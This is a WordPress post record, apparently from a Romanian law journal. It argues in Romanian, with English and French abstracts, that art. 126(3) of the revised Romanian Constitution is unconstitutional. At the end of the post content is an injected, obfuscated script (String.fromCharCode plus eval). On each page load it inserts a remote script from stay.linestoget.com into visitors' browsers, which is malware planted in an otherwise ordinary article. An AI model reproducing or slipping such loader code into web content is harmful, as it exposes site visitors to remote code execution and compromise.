{"id":48,"date":"2009-11-18T00:45:25","date_gmt":"2009-11-17T22:45:25","guid":{"rendered":"http:\/\/aafdutm.ro\/revista\/?p=48"},"modified":"2009-12-17T04:26:13","modified_gmt":"2009-12-17T02:26:13","slug":"despre-constitu%c8%9bionalitatea-art-126-3-din-legea-fundamentala","status":"publish","type":"post","link":"https:\/\/www.aafdutm.ro\/revista\/anul-i\/nr-1\/despre-constitu%c8%9bionalitatea-art-126-3-din-legea-fundamentala\/","title":{"rendered":"Despre constitu\u021bionalitatea art. 126 (3) din Legea fundamental\u0103"},"content":{"rendered":"<p>Prin revizuirea Constitu\u0163iei, art. 125 \u2013 instan\u0163ele\u00a0judec\u0103tore\u015fti \u2013 a fost modificat\u00a0substan\u0163ial con\u0163inutul noilor dispozi\u0163ii, aduc\u00e2nd\u00a0\u00eens\u0103 \u015fi unele probleme a c\u0103ror solu\u0163ionare este,\u00a0credem, extrem de important\u0103. Astfel, alin. 1 al\u00a0art. 125, care prevedea c\u0103 \u201eJusti\u0163ia se realizeaz\u0103\u00a0prin Curtea Suprem\u0103 de Justi\u0163ie \u015fi prin celelalte\u00a0instan\u0163e judec\u0103tore\u015fti stabilite de lege\u201d a fost\u00a0modificat, \u00eenlocuindu-se denumirea instan\u0163ei supreme,\u00a0devenit\u0103 \u00eenalta Curte de Casa\u0163ie \u015fi Justi\u0163ie.\u00a0Toate bune, fire\u015fte, dar a ap\u0103rut, \u00een noul art. 126,\u00a0care preia func\u0163iile art. 125 anterior, o dispozi\u0163ie\u00a0referitoare la competen\u0163ele \u00eenaltei Cur\u0163i de Casa\u0163ie\u00a0\u015fi Justi\u0163ie (I.C.C.J.) care, \u00een opinia noastr\u0103, nu este\u00a0constitu\u0163ional\u0103. Astfel, art. 126 (3) din Constitu\u0163ia\u00a0revizuit\u0103 prevede: \u201e\u00cenalta Curte de Casa\u0163ie \u015fi\u00a0Justi\u0163ie asigur\u0103 interpretarea \u015fi aplicarea unitar\u0103\u00a0a legii de c\u0103tre celelalte instan\u0163e judec\u0103tore\u015fti,\u00a0potrivit competen\u0163ei sale\u201d.<!--more--><span style=\"background-color: #ffffff;\">Curtea Constitu\u0163ional\u0103 s-a pronun\u0163at asupra\u00a0constitu\u0163ionalit\u0103\u0163ii propunerii legislative de\u00a0revizuire a Constitu\u0163iei printr-o decizie care\u00a0constat\u0103 c\u0103 ini\u0163iativa legislativ\u0103 a fost f\u0103cut\u0103\u00a0cu respectarea dispozi\u0163iilor art. 146 alin. 1, dar\u00a0declar\u0103 neconstitu\u0163ionale prevederile alin. 71 ce\u00a0urmau a fi introduse la art. 41 \u015fi prevederile alin.\u00a08 ce ar fi completat art. 132. Totodat\u0103, Curtea\u00a0Constitu\u0163ional\u0103 supune aten\u0163iei Parlamentului\u00a0observa\u0163iile pe care le face, \u00een dispozitivul deciziei,\u00a0referitoare la propunerea de modificare a\u00a0\u015faisprezece articole din Constitu\u0163ie, la propunerea\u00a0de introducere a patru articole noi, precum \u015fi\u00a0la con\u0163inutul dispozi\u0163iilor art. II din Proiect.\u00a0Printre dispozi\u0163iile supuse aten\u0163iei Parlamentului\u00a0nu se reg\u0103sesc \u015fi cele care fac obiectul art. 126\u00a0(3), dispozi\u0163ii introduse \u00een Constitu\u0163ie ca urmare\u00a0a revizuirii \u015fi care nu aveau corespondent \u00een\u00a0Constitu\u0163ia \u00een vigoare la acea dat\u0103. Aceasta \u00eenseamn\u0103\u00a0c\u0103 \u015fi Curtea Constitu\u0163ional\u0103 accepta\u00a0opinia legiuitorului \u00een sensul c\u0103 aceste prevederi\u00a0erau f\u0103cute cu respectarea literei \u015fi spiritului\u00a0Constitu\u0163iei de la 1991.<\/span><\/p>\n<p>\u00cen continuare, ne vom referi tocmai la aceste\u00a0prevederi ale art. 126 (3) din Constitu\u0163ie care,\u00a0\u00een opinia noastr\u0103, nu erau (la momentul propunerii\u00a0lor) \u015fi, fire\u015fte, nu sunt nici \u00een prezent,\u00a0constitu\u0163ionale.<\/p>\n<p>A\u015fadar, dispozi\u0163iile art. 126 alin. 3: \u201e\u00cenalta\u00a0Curte de Casa\u0163ie \u015fi Justi\u0163ie asigur\u0103 interpretarea\u00a0\u015fi aplicarea unitar\u0103 a legii de c\u0103tre celelalte\u00a0instan\u0163e judec\u0103tore\u015fti, potrivit competen\u0163ei sale\u201d,\u00a0contravin dispozi\u0163iilor:<\/p>\n<ul>\n<li><span style=\"background-color: #ffffff;\">art. 124 alin. 3: \u201eJudec\u0103torii sunt independen\u0163i \u015fi se supun numai legii\u201d (dispozi\u0163ii care reproduc identic prevederile alin. 2 din art. 123 anterior);<\/span><\/li>\n<li><span style=\"background-color: #ffffff;\">art. 126 alin. 1: \u201eJusti\u0163ia se realizeaz\u0103 prin\u00a0\u00cenalta Curte de Casa\u0163ie \u015fi Justi\u0163ie \u015fi prin celelalte\u00a0instan\u0163e judec\u0103tore\u015fti stabilite de lege\u201d (dispozi\u0163ii\u00a0care, \u00een con\u0163inutul lor, reproduc prevederile alin. 1\u00a0ale art. 125 anterior) \u015fi <\/span><\/li>\n<li><span style=\"background-color: #ffffff;\">art. 1 alin. 4: \u201eStatul se organizeaz\u0103 potrivit\u00a0principiului separa\u0163iei \u015fi echilibrului puterilor \u2013\u00a0legislativ\u0103, executiv\u0103 \u015fi judec\u0103toreasc\u0103 \u2013 \u00een cadrul\u00a0democra\u0163iei constitu\u0163ionale (f\u0103r\u0103 corespondent\u00a0textual anterior \u00een Constitu\u0163ie)\u201d.<\/span><\/li>\n<\/ul>\n<p>\u00cen normele juridice constitu\u0163ionale mai sus citate ca venind \u00een contradic\u0163ie cu art. 126 (3) se prevede c\u0103 judec\u0103torii sunt independen\u0163i \u015fi se supun numai legii (art. 124 alin. 3), precum \u015fi faptul c\u0103 justi\u0163ia \u00een Rom\u00e2nia se realizeaz\u0103, deopotriv\u0103, de \u00cenalta Curte de Casa\u0163ie \u015fi Justi\u0163ie, c\u00e2t \u015fi de celelalte instan\u0163e judec\u0103tore\u015fti stabilite de lege (art. 126 alin. 1), fire\u015fte, potrivit competen\u0163elor lor.<\/p>\n<p>Din textul art. 126 (3) se desprinde o realitate juridic\u0103 opus\u0103 acelora care rezult\u0103 din art. 124 (3) \u015fi din art. 126 (1). Cauza o constituie verbul tranzitiv asigur\u0103, cu complementul s\u0103u direct: \u201einterpretarea \u015fi aplicarea unitar\u0103 a, legii de c\u0103tre celelalte instan\u0163e judec\u0103tore\u015fti\u201d. Aceast\u0103 prevedere conduce la concluzia nemijlocit\u0103 c\u0103 \u00cenalta Curte de Casa\u0163ie \u015fi Justi\u0163ie este transformat\u0103 \u00een organ legiuitor, deoarece interpretarea ei cazual\u0103 este transformat\u0103 \u00eentr-o interpretare oficial\u0103 (sau autentic\u0103). Acest lucru este, fire\u015fte, inadmisibil. Sintagma \u201epotrivit competen\u0163ei sale\u201d din finalul textului art. 126 (3) nu \u201esalveaz\u0103\u201d lucrurile, ci este de natur\u0103 s\u0103 le ad\u00e2nceasc\u0103 \u00een confuzie.<\/p>\n<p>\u00cent\u00e2i de toate, dorim s\u0103 semnal\u0103m un dezacord gramatical existent \u00een textul art. 126 (3), dincolo chiar de problema de drept care constituie obiectul acestui articol. Este vorba de faptul c\u0103 termenul \u201eunitar\u0103\u201d, care este un atribut al celor dou\u0103 substantive (\u201einterpretarea\u201d \u015fi \u201eaplicarea\u201d) care alc\u0103tuiesc \u00eempreun\u0103 complementul verbului tranzitiv \u201easigur\u0103\u201d, este folosit incorect. Cuv\u00e2ntul unitar\u0103 se refer\u0103, desigur, la ambele substantive, deoarece asigurarea interpret\u0103rii f\u0103r\u0103 atributul unitar\u0103 nu ar avea sens. A\u015fadar, corect ar fi fost ca adjectivul unitar\u0103, cu func\u0163ie de atribut al ambelor substantive, s\u0103 aib\u0103 forma de plural: unitare. Textul corect ar fi: \u00cenalta Curte de Casa\u0163ie \u015fi Justi\u0163ie asigur\u0103 interpretarea \u015fi aplicarea unitare (subl. n., A.F.) a legii de c\u0103tre celelalte instan\u0163e judec\u0103tore\u015fti, potrivit competen\u0163ei sale.<\/p>\n<p>Dar s\u0103 continu\u0103m analiza contradic\u0163iei juridice de substan\u0163\u0103 existent\u0103 \u00eentre art. 126 (3), pe de o parte, \u015fi art. 124 (3) \u015fi art. 126 (1), pe de alt\u0103 parte.<\/p>\n<p>Dup\u0103 cum se \u015ftie, interpretarea legii f\u0103cut\u0103 de instan\u0163ele judec\u0103tore\u015fti (deci, inclusiv de \u00cenalta Curte de Casa\u0163ie \u015fi Justi\u0163ie) este una cazual\u0103 (de caz), iar interpretarea legiuitorului este denumit\u0103 \u00een doctrina juridic\u0103 oficial\u0103 sau autentic\u0103.<\/p>\n<p>Este unanim acceptat faptul c\u0103 interpretarea Instan\u0163ei Supreme exprimat\u0103 \u00een Decizia cu care finalizeaz\u0103 o cauz\u0103 judiciar\u0103, potrivit competen\u0163ei sale, este obligatorie, \u00een \u00eentreg sistemul judiciar (\u015fi nu numai). Dar, aceast\u0103 for\u0163\u0103 a Deciziei \u00cenaltei Cur\u0163i de Casa\u0163ie \u015fi Justi\u0163ie nu asigur\u0103 o interpretare unitar\u0103 a legii, pentru simplul motiv c\u0103 o instan\u0163\u0103 judec\u0103toreasc\u0103 poate da oric\u00e2nd, \u00eentr-o cauz\u0103 asem\u0103n\u0103toare aceleia solu\u0163ionat\u0103 de I.C.C.J., o interpretare contrar\u0103 aceleia pe care a dat-o Instan\u0163a Suprem\u0103. Acest drept al oric\u0103rui judec\u0103tor de a se abate prin interpretarea sa, de la interpretarea Cur\u0163ii Supreme rezult\u0103 indubitabil din Constitu\u0163ia noastr\u0103 care prevede expressis verbis, at\u00e2t independen\u0163a judec\u0103torului, c\u00e2t \u015fi faptul c\u0103 el se supune numai legii. Interpretarea Instan\u0163ei Supreme este obligatorie numai \u00een cauza pe care ca o solu\u0163ioneaz\u0103 potrivit competen\u0163ei sale. \u00cen acea cauza, \u015fi pentru consecin\u0163ele juridice care rezult\u0103 din decizia respectiv\u0103, interpretarea Instan\u0163ei Supreme este obligatorie erga omnes.<\/p>\n<p>A\u015fadar, nici un fel de competen\u0163\u0103 nu d\u0103 dreptul \u00cenaltei Cur\u0163i de Casa\u0163ie \u015fi Justi\u0163ie s\u0103 asigure interpretarea \u015fi aplicarea unitare a legii \u015fi, ca urmare, s\u0103-\u015fi impun\u0103 interpretarea altfel dec\u00e2t prin efectul legal al deciziei sale dat\u01ce \u00eentr-o anumit\u0103 cauz\u0103.<\/p>\n<p>Am putea spune c\u0103 singura for\u0163\u01ce obligatorie, unificatoare pentru o jurispruden\u0163\u0103, a Deciziei \u00cenaltei Cur\u0163i de Casa\u0163ie \u015fi Justi\u0163ie este o for\u0163\u0103 de natur\u0103 moral\u0103, rezult\u00e2nd din prezum\u0163ia, de aceea\u015fi natur\u0103, \u015fi admis\u0103, pe bun\u0103 dreptate de doctrin\u0103 \u015fi de practica judiciar\u0103, c\u01ce judec\u0103torii Instan\u0163ei Supreme sunt juri\u015fti cu o mare experien\u0163\u0103 \u00een domeniul dreptului \u015fi cu ample \u015fi bine documentate cuno\u015ftin\u0163e de ordin \u015ftiin\u0163ific. \u00centotdeauna \u015fi \u00een toate sistemele ju-ridice moderne ale statelor democratice, deciziile Instan\u0163ei Supreme sunt modele de interpretare pentru to\u0163i judec\u0103torii. Precedentul judiciar nu are \u00eens\u0103 \u00een dreptul nostru, importan\u0163a pe care o are, din punct de vedere judiciar, \u00een dreptul S.U.A., de exemplu.<\/p>\n<p>Este de notorietate faptul c\u0103 o hot\u0103r\u00e2re judec\u0103toreasc\u0103 poate fi, \u00een condi\u0163iile legii, infirmat\u0103 prin intermediul c\u0103ilor legale de atac, de c\u0103tre \u00cenalta Curte de Casa\u0163ie \u015fi Justi\u0163ie, potrivit competen\u0163ei sale; dar aceast\u0103 situa\u0163ie nu trebuie interpretat\u0103 ca fiind un izvor de instabilitate judiciar\u0103, fapt ce a constituit unul dintre motivele apari\u0163iei acestei neobi\u015fnuite prevederi constitu\u0163ionale, care este aceea prev\u0103zut\u0103 \u00een art. 126 alin. 3. \u00cen realitate, posibilitatea schimb\u0103rii solu\u0163iei unei hot\u0103r\u00e2ri judec\u0103tore\u015fti prin intermediul c\u0103ii legale de atac este tocmai rezultatul unei justi\u0163ii libere \u015fi democratice, subordonat\u0103 principiilor sistemului juridic al Statului de Drept \u015fi nu trebuie privit\u0103 ca un impediment \u00een calea justi\u0163iei. O interpretare contrar\u0103 acestui ra\u0163ionament poate fi lesne suspectat\u0103 de inten\u0163ia asigur\u0103rii unei c\u0103i de \u015ftirbire a independen\u0163ei judec\u0103torului. De altfel, nu de pu\u0163ine ori, chiar Instan\u0163a Suprem\u0103 \u015fi-a schimbat practica judiciar\u0103, lucru care nu trebuie s\u0103 fie considerat neobi\u015fnuit \u015fi, cu at\u00e2t mai pu\u0163in, nelegal.<\/p>\n<p>Textul art. 126 alin. 3 contravine \u015fi dispozi\u0163iilor art. 1 alin. 4 din Constitu\u0163ie care consacr\u0103 principiul separa\u0163iei \u015fi echilibrului puterilor \u00een stat, deoarece el face din \u00cenalta Curte de Casa\u0163ie \u015fi Justi\u0163ie un organ cu puteri legiuitoare, din moment ce, prin solu\u0163ia pe care o d\u0103 \u00eentr-un anumit caz, ea asigur\u0103 o interpretare \u015fi aplicare unitar\u0103 a legii, chiar dac\u0103 acest lucru se face potrivit competen\u0163ei sale. Expresia \u201epotrivit competen\u0163ei sale\u201d nu poate fi interpretat\u0103 ca fiind de natur\u0103 s\u0103 limiteze interpretarea dat\u0103 de \u00cenalta Curte numai la cazul pe care 1-a rezolvat, deoarece dac\u0103 ar fi adev\u0103rat acest lucru, \u00eentregul text al art. 126 (3) ar fi, pur \u015fi simplu, superfluu. \u00cen realitate, o asemenea asigurare o poate realiza numai interpretarea oficial\u0103 care \u00eens\u0103 nu este de competen\u0163a unui organ judiciar, fie el \u015fi \u00cenalta Curte de Casa\u0163ie \u015fi Justi\u0163ie.<\/p>\n<p>P\u00e2n\u0103 la Revolu\u0163ie, Instan\u0163a Suprem\u0103 (Tribunalul Suprem) avea dreptul de a emite decizii de \u00eendrumare. Aceste decizii, av\u00e2nd doar un rol de \u00eendrumare, nu se opuneau independen\u0163ei judec\u0103torului; ele fiind relativ bine primite \u00een practica \u015fi doctrina de specialitate, de\u015fi au existat; desigur, opinii care, chiar \u015fi atunci, au reclamat ingerin\u0163a politicului, prin intermediul lor, \u00een justi\u0163ie. Nu cred \u00eens\u0103 c\u01ce ar trebui s\u0103 planeze din nou aceast\u0103 temere asupra obiectivit\u0103tii justi\u0163iei \u00een prezent, cu toate c\u0103 \u201easigurarea\u201d pe care ne-o d\u0103 textul an. 126 (3) poate fi interpretat\u0103 \u015fi \u00eentrun asemenea mod.<\/p>\n<p>Ar mai fi de ad\u0103ugat \u015fi faptul c\u0103 \u00een nici o Constitu\u0163ie a statelor membre ale Uniunii Europene nu exist\u0103 o dispozi\u0163ie \u00een sensul celei prev\u0103zute de art. 126 alin. 3.<\/p>\n<p>\u00cen concluzie, \u00cenalta Curte de Casa\u0163ie \u015fi Justi\u0163ie poate asigura, \u00een afara situa\u0163iilor date explicit \u00een competen\u0163a sa, \u00een care interpretarea sa este obligatorie, doar o interpretare orientativ\u0103 \u00een problemele de drept rezultate din practica judiciar\u0103. Dar, un asemenea drept nu este necesar s\u0103 fie interpretat sub forma unui principiu constitu\u0163ional.<\/p>\n<p>** The amendment of the Constitution caused substantial alteration of art. 125- Courts of Law. However, the new provisions are somehow thorny as they raise certain issues, which are, in our opinion, extremely significant. Art. 125, paragraph 1 which stated that \u201cLegal proceedings shall be carried out by the Supreme Court of Justice and by the other Courts of Law appointed by the law\u201d alters in the sense that the Supreme Court becomes the High Court of Cassation and Justice. However, art. 126, which has taken over the functions of the former art. 125, provides for the competence of the High Court of Cassation and Justice, which, in our opinion, is not constitutional. After the amending of the Constitution, art. 126 states that \u201ethe High Court of Cassation and Justice ensures consistent interpretation and enforcement of legal provisions by the other courts of law in accordance with the restrictions specific to its scope\u201d.<\/p>\n<p>The Constitutional Court expressed its opinion on the constitutionality of the legislative proposal regarding amending of the Constitution, by a Resolution stating that said proposal observed the provisions under art. 146, paragraph 1, yet the provisions under paragraph 7, which were to be inserted under art. 41 and the provisions under paragraph 8, which were supposed to be inserted under art. 132 were not constitutional. Moreover, the Constitutional Court has submitted to the Parliament certain observations regarding the amendment of 16 Constitution articles, a proposal aiming at the insertion of four new articles, and a few comments on art. II of the Project<\/p>\n<p>*** Suite \u00e0 la r\u00e9vision effectu\u00e9e sur la Constitution, art. 125 &#8211; instances de jugement &#8211; le contenu des nouvelles pr\u00e9visions a \u00e9t\u00e9 modifi\u00e9, ce qui a soulev\u00e9 n\u00e9anmoins certains probl\u00e9mes dont la solution est, \u00e0 notre avis, d\u2019une importance vitale. Ainsi l\u2019al. 1 de l\u2019art. 125 qui pr\u00e9voit que la \u00abJustice est assur\u00e9e par la Cour Supr\u00eame de Justice et par les autres instances judiciaires l\u00e9galement pr\u00e9vues\u00bb a \u00e9t\u00e9 modifi\u00e9, le nom de l\u2019instance supr\u00eame devenant la Haute Cour de Cassation et de Justice. Rien \u00e0 dire, certes, mais le r\u00e9cent art. 126 qui reprend les fonctions de l\u2019ancien art. 125, introduit une disposition relative aux comp\u00e9tences de la Haute Cour de Cassation et de Justice (ICCJ) qui n\u2019est pas constitutionnelle. Ainsi, l\u2019art. 126 (3) de la Constitution r\u00e9vis\u00e9e prevoit comme suit: \u00abLa Haute Cour de Cassation et de Justice assure 1\u2019interpr\u00e9tation et la mise en application unitaire de la loi par les autres instances judiciaires, conform\u00e9ment \u00e0 sa comp\u00e9tence\u00bb.<\/p>\n<p>La Cour Constitutionnelle s\u2019est prononc\u00e9e sur la constitutionnalit\u00e9 de la proposition l\u00e9gislative de r\u00e9vision de la Constitution, \u00e0 travers une d\u00e9cision qui constate que l\u2019initiative l\u00e9gislative a eu lieu dans le respect des dispositions de l\u2019art. 146 al. 1, mais d\u00e9clare comme inconstitutionnelles les pr\u00e9visions de l\u2019al. 7 qui auraient d\u00fb \u00eatre introduites \u00e0 l\u2019art. 41, ainsi que les pr\u00e9visions de l\u2019al. 8 qui auraient d\u00fb compl\u00e9ter l\u2019art. 132. En m\u00eame temps, la Cour Constitutionnelle soumet \u00e0 l\u2019attention du Parlement les remarques faites dans le cadre de la d\u00e9cision, relatives \u00e0 la proposition de modification des seize articles renferm\u00e9s dans la Constitution, \u00e0 la proposition d\u2019introduction de quatre nouveaux articles, ainsi qu\u2019au contenu des dispositions de l\u2019art. II du Projet.<\/p>\n<p><img loading=\"lazy\" class=\"alignleft size-large wp-image-73\" title=\"afis conferinta utm_final_2\" src=\"http:\/\/aafdutm.ro\/revista\/wp-content\/uploads\/2009\/11\/afis-conferinta-utm_final_21-725x1024.jpg\" alt=\"afis conferinta utm_final_2\" width=\"725\" height=\"1024\" srcset=\"https:\/\/www.aafdutm.ro\/revista\/wp-content\/uploads\/2009\/11\/afis-conferinta-utm_final_21-725x1024.jpg 725w, https:\/\/www.aafdutm.ro\/revista\/wp-content\/uploads\/2009\/11\/afis-conferinta-utm_final_21-212x299.jpg 212w, https:\/\/www.aafdutm.ro\/revista\/wp-content\/uploads\/2009\/11\/afis-conferinta-utm_final_21.jpg 841w\" sizes=\"(max-width: 725px) 100vw, 725px\" \/><\/p>\n<p><img src=\"file:\/\/\/C:\/DOCUME~1\/Marius\/LOCALS~1\/Temp\/moz-screenshot.png\" alt=\"\" \/><\/p>\n<div id=\"_mcePaste\" style=\"overflow: hidden; position: absolute; left: -10000px; top: 7px; width: 1px; height: 1px;\">art. 124 alin. 3: \u201eJudec\u0103torii sunt independen\u0163i<\/div>\n<div id=\"_mcePaste\" style=\"overflow: hidden; position: absolute; left: -10000px; top: 7px; width: 1px; height: 1px;\">\u015fi se supun numai legii\u201d (dispozi\u0163ii care reproduc<\/div>\n<div id=\"_mcePaste\" style=\"overflow: hidden; position: absolute; left: -10000px; top: 7px; width: 1px; height: 1px;\">identic prevederile alin. 2 din art. 123 anterior);<\/div>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Prin revizuirea Constitu\u0163iei, art. 125 \u2013 instan\u0163ele\u00a0judec\u0103tore\u015fti \u2013 a fost modificat\u00a0substan\u0163ial con\u0163inutul noilor dispozi\u0163ii, aduc\u00e2nd\u00a0\u00eens\u0103 \u015fi unele probleme a c\u0103ror solu\u0163ionare este,\u00a0credem, extrem de important\u0103. Astfel, alin. 1 al\u00a0art. 125, care prevedea c\u0103 \u201eJusti\u0163ia se realizeaz\u0103\u00a0prin Curtea Suprem\u0103 de Justi\u0163ie \u015fi prin celelalte\u00a0instan\u0163e judec\u0103tore\u015fti stabilite de lege\u201d a fost\u00a0modificat, \u00eenlocuindu-se denumirea instan\u0163ei supreme,\u00a0devenit\u0103 \u00eenalta Curte [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,3],"tags":[27],"_links":{"self":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts\/48"}],"collection":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/comments?post=48"}],"version-history":[{"count":10,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts\/48\/revisions"}],"predecessor-version":[{"id":396,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts\/48\/revisions\/396"}],"wp:attachment":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/media?parent=48"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/categories?post=48"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/tags?post=48"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}